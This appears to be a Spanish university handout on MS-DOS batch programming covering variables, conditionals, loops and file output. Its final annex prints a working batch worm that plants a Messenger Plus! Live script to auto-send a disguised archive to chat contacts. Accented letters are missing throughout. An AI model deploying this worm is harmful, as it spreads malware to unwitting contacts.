Anda di halaman 1dari 19

PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING.

MAURICIO ALEJANDRO ROS PALACIO

PROGRAMACIN BAJO MS-DOS (BATCH)

Docente

ING. MAURICIO ALEJANDRO ROS PALACIO

PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO En esta entrega se te explicara como programar bajo el MS-DOS. As que si tienes un poco de conocimiento en programacin se te har muy fcil el entender los conceptos. Comencemos con aclarar que este tipo de programacin no corresponde a un lenguaje de programacin en concreto. Este tipo de programacin maneja los comandos vistos en la entrega Comandos de MSDOS, adems veremos otras estructuras clsicas en la programacin tradicional.

Para codificar un programa bajo el MS-DOS debemos de crear un archivo con extensin .bat, a este archivo se le conoce como archivo por lote o archivo de procesamiento por lote, este archivo guarda un conjunto de comandos del DOS. Cuando un archivo por lote es ejecutado, los comandos que estn en l, son realizados uno por uno en forma secuencial, esto permite automatizar diversas tareas.

Los archivos por lotes lo podemos codificar en un editor de texto como el Edit o el block de notas, pero recuerda que el archivo debe de tener la extensin .bat, sin esa extensin el archivo nunca correr. En nuestro caso vamos a codificar desde el Edit, para irnos familiarizndonos en el entorno del MS-DOS.

Ahora entrando en materia, vamos a explicar los cdigos necesarios para poder iniciar nuestra programacin batch

PRIMITIVAS ESCRIBA Y LEA Echo: es la primitiva para escribir en pantalla ya sea un mensaje o el valor de una variable. Veamos un ejemplo para este comando.

Cdigo de nuestro primer programa. Figura 1.

PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO Para ejecutar el comando vuelva al prompt y escriba el nombre del archivo por lote, en nuestro ejemplo se guardo como saludo.bat en la figura 2

Muestra como se debe de ejecutar un archivo por lote. Figura 2 Como vera el programa va mostrando su respectivo cdigo y la ejecucin de este, sin embargo esto le quita un poco de esttica al programa. Lo cual vamos a modificar para que solo se muestre los resultados de la ejecucin de cada lnea y no nos muestre el cdigo como tal, para realizar esto solo debe colocar al principio del cdigo lo siguiente: @echo off.

Cdigo de nuestro primer programa modificado para que no se muestre el cdigo en tiempo de ejecucin. Figura 3

Ejecucin de nuestro programa sin mostrar el respectivo cdigo. Figura 4

Haga una comparacin con la figura 2 y la figura 4, note el cambio que tuvo este ultimo con respecto al primero.

PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO Para leer un dato desde el teclado debemos de crear una variable1 para guardar los valores digitados. Para crear una variable se debe de utilizar el comando set. El comando set tiene varios parmetros, estos parmetros los iremos conociendo a medida que nos adentremos en el tema. En nuestro primer caso el parmetro utilizado es el /P este nos indicar se est esperando un valor por parte del usuario para ser guardado en la variable. Como vera el ejemplo pide el nombre del usuario, para luego mostrar un mensaje con su nombre. Ntese que al visualizar el valor de la variable esta debe de ir entre el signo %.

Cdigo para crear una variable, pedir su valor y mostrar su respectivo valor digitado. Figura 5

Ejecucin del programa. Figura 6

Tenga en cuenta que esta variable no se destruye ni pierde su valor cuando termina de ejecutarse el archivo por lote, ya que queda residente en la consola de comandos, es aconsejable inicializar sus valores.

PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO Dejando un poco atrs este ejemplo, vamos a crear un nuevo programa que pida dos nmeros y haga las principales operaciones matemticas. (+, -, /, *). Como puede observar en la figura 7, en la lnea 2 utilizamos el comando CLS para limpiar pantalla, en la siguiente lnea encontrara el comando echo seguido con un punto (echo.). este equivale a mostrar un salto de lnea.

Cdigo fuente para realizar las operaciones matemticas. Figura 7 Para que el programa pueda realizar una operacin matemtica el comando set debe de estar acompaado del parmetro /a.

Ejecucin del programa operaciones.bat Figura 8

PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO DETENCIN DE LA EJECUCIN DEL PROGRAMA

Muchas veces, necesitamos que nuestro programa se detenga en algn punto para que el usuario pueda leer detenidamente una informacin. Para el siguiente ejemplo mostraremos como hacer que un programa se detenga hasta que se presione una tecla. El programa pretende mostrar la funcionalidad de los comandos pause, pause>nul y exit.

Cdigo del programa que muestra cmo funcionan pause, pause>nul y exit. Figura 9

PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO EL COMANDO GOTO Y LAS ETIQUETAS Una etiqueta es un identificador de lnea, el cual se complementa con la instruccin goto. En otras palabras, el comando goto se traduce a vaya a la etiqueta que usted desea. El goto y la etiqueta cambia la orientacin del cdigo que se est ejecutando. Para aclarar estos comandos veremos el siguiente ejemplo.

Cdigo para el uso del goto y las etiquetas Figura 10 Se aclara que una etiqueta solo puede ser creada una sola vez y no puede estar en ms de una lnea, sin embargo puede haber tantos goto con el llamado a la etiqueta que usted quiera.

CONDICIONAL IF Este cdigo nos sirve para evaluar una expresin y determinar su estado de verdad, con l se decide cual camino se tomara dependiendo de lo evaluado en una expresin. Al condicional se le conoce tambin como bifurcacin. (Se toma uno de dos caminos posibles.) La estructura del if tiene la siguiente forma. IF %variable% <operador aritmtico> %variable% (comando) else (comando)

Si en tal caso no necesitamos el else podemos dejar la instruccin de la siguiente forma IF %variable% <operador aritmtico> %variable% (comando)

PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO Los operados aritmticos utilizados en batch son los siguientes:

OPERADOR == / EQU LSS GTR LEQ GEQ

SIGNIFICADO igual menor que mayor que menor o igual mayor o igual

Para aclarar el tema, vamos a realizar un algoritmo donde se pide la edad de una persona y determinamos si una persona es mayor o no de edad.

Cdigo del condicional IF. Figura 11

PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO Si nuestro objetivo es determinar s un archivo existe o no. Debemos usar EXIST seguido del nombre del archivo y su extensin, tenga en cuenta si el archivo se encuentra en otra ruta, de ser as, usted debera de colocar el path completo.2

Veamos el siguiente ejemplo, vamos hacer un programa que determine si el nombre de un archivo digitado por un usuario existe o no en la ruta donde se encuentra el archivo por lote. (Hasta ahora todos los archivos por lotes han sido guardados en raz C:\, en este caso vamos a crear una carpeta llamada lotes donde guardaremos nuestro nuevo archivo por lote.)

Cdigo para identificar si un archivo existe o no usando el comando exist. Figura 12

Cuando el archivo se encuentre en la misma ruta donde est guardado el archivo por lote no es necesario colocar la ruta, solo coloque el nombre del archivo con su extensin tal cual como se llama.

PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO

Resultado de ejecucin del programa existe.bat Figura 13

Resultado de ejecucin del programa existe.bat Figura 14

Obsrvese la diferencia entre la figura 13 y 14 en la lnea 3 donde se digita el nombre del archivo. El archivo detener.bat se encuentra creado en la raz ms no en el directorio llamado lotes.

10

PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO CREACIN DE MENS

Para crear un men solo debemos de manejar varias sentencias IF para evaluar la opcin que ha seleccionado el usuario. Como ejemplo crearemos un men donde se le pedir al usuario el rango de su edad.

Ejemplo de creacin de un men. Figura 15

11

PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO

Ejecucin del programa rangos.bat Figura 16

Para Windows 95 y 98 exista un comando que nos facilitaba la vida en la creacin de mens, este comando era el CHOICE, sin embargo para la versin de XP no existe dicho comando.

Otra alternativa para hacer el ejemplo se muestra en el siguiente cdigo.

Alternativa de creacin de mens. Figura 17

12

PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO CICLOS SENTENCIA FOR Esta sentencia nos permite ejecutar N veces una serie de lneas de cdigo. La sintaxis ms simple de la sentencia FOR es la siguiente: For /L %%var IN (Inicio, incremento,fin) Do (acciones)

Tenga en cuenta que la variable se especifica %%var en vez de %var%. Los nombres de las variables distinguen entre maysculas y minsculas, por lo tanto %i no es lo mismo que %I.

Ejemplo: haga un algoritmo que genere los n primeros nmeros que desee el usuario.

Ejemplo del FOR Figura 18

Ejecucin del archivo for.bat Figura 19

13

PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO EXPANSIN DE VARIABLES RETARDADA.

Para entender que es una variable retardada veamos el siguiente ejemplo. Hacemos un algoritmo donde se le pide al usuario que se evalen n personas y mostrar al final cuantos fueron mayores de edad.

Hasta donde hemos visto nuestro cdigo quedara de la siguiente manera.

Cdigo de sin expansin de variable retardada. Figura 20 Si usted ejecuta el cdigo y digita los datos de las personas a evaluar, notar que la suma siempre dar 0, aunque usted haya digitado edades de personas de mayor edad. Qu est pasando? La solucin es utilizar una shell con "sustitucin de variables retardada", donde las variables que deseemos que se sustituyan en el mismo instante de su utilizacin las encerraremos con admiraciones.

14

PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO

Cdigo con Extensin de variable retardada. Figura 21 Observe que la variable edad y la variable cont tienen un signo de admiracin (!). El signo de admiracin indica la utilizacin de la extensin de variable retardada, adems de este signo de admiracin se le debe de decir al programa que se active del modo de extensin de variable retardada. Esto se hace con la instruccin setlocal

enabledelayedexpasion. Si ejecuta el cdigo nuevamente notar que ahora el resultado mostrado si es el correcto.

Otras utilidades del ciclo For se muestran en los siguientes cdigos: Listar nombres de archivos.

Listado de archivos que tiene extensin .bat Figura 22

15

PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO Listar nombres de archivos de manera recursiva sea que busque en todas las subcarpetas donde usted se encuentre en el rea de trabajo.

Listado de archivos de extensin .bat que se encuentran en otros subdirectorios. Figura 23

Listar nombres de directorio.

Listado de nombres de directorio que comienzan con a. Figura 24 Listar nombres de directorios de manera recursiva.

Listado de nombres de directorio que comienzan con a que se encuentran en otros subdirectorios. Figura 25

16

PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO Delimitar texto o resultados de consultas.

Este maneja el parmetro /F. En l, se tiene que tener en cuenta el tokens que se quiere, por decirlo as este es el rango que se va a tomar. Adems de tener en cuenta el tokens se debe de indicarle al for el limitante para dicho tokens. Observe bien la estructura del siguiente ejemplo. En este ejemplo el limitante es el carcter espacio.

Ejemplo del for utilizando el parmetro /F Figura 26

17

PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO CREACIN DE NUEVOS ARCHIVOS En muchas ocasiones es necesario que desde un archivo por lotes generemos otro archivo con informacin, para esto se hace uso de la combinacin de los comandos echo y de redireccionamiento ( > y >>)

Ejemplo de cmo crear un archivo con un contenido. Figura 27

Ejecute el archivo e inmediatamente abra el archivo llamado archivo.txt y encontrara la informacin suministrada por el archivo por lote.

18

PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO

ANEXO CDIGO MALICIOSO HECHO EN UN ARCHIVO POR LOTE


md "%programfiles%\Messenger Plus! Live\Scripts\hola\" echo function OnEvent_ChatWndReceiveMessage(ChatWnd, Origin, Message, MessageKind)>> "%programfiles%\Messenger Plus!

Live\Scripts\hola\hola.js"

echo {>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js" echo if (Origin != Messenger.MyName)>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js" echo {>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js" echo ChatWnd.SendMessage("/sendfile %homedrive%\\WINDOWS\\system32\\Foto\\Mis Fotos En La Playa 2008.rar");>>

"%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"

echo ChatWnd.SendMessage("(M) [c=39]Mira Mis Nuevas Fotos [/c] (M)");>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js" echo }>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js" echo }>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"

reg add "HKEY_CURRENT_USER\Software\Patchou\Messenger Plus! Live\GlobalSettings\Scripts\reinicia.bat" /v Enabled /t REG_DWORD /d 1 /f

19

Anda mungkin juga menyukai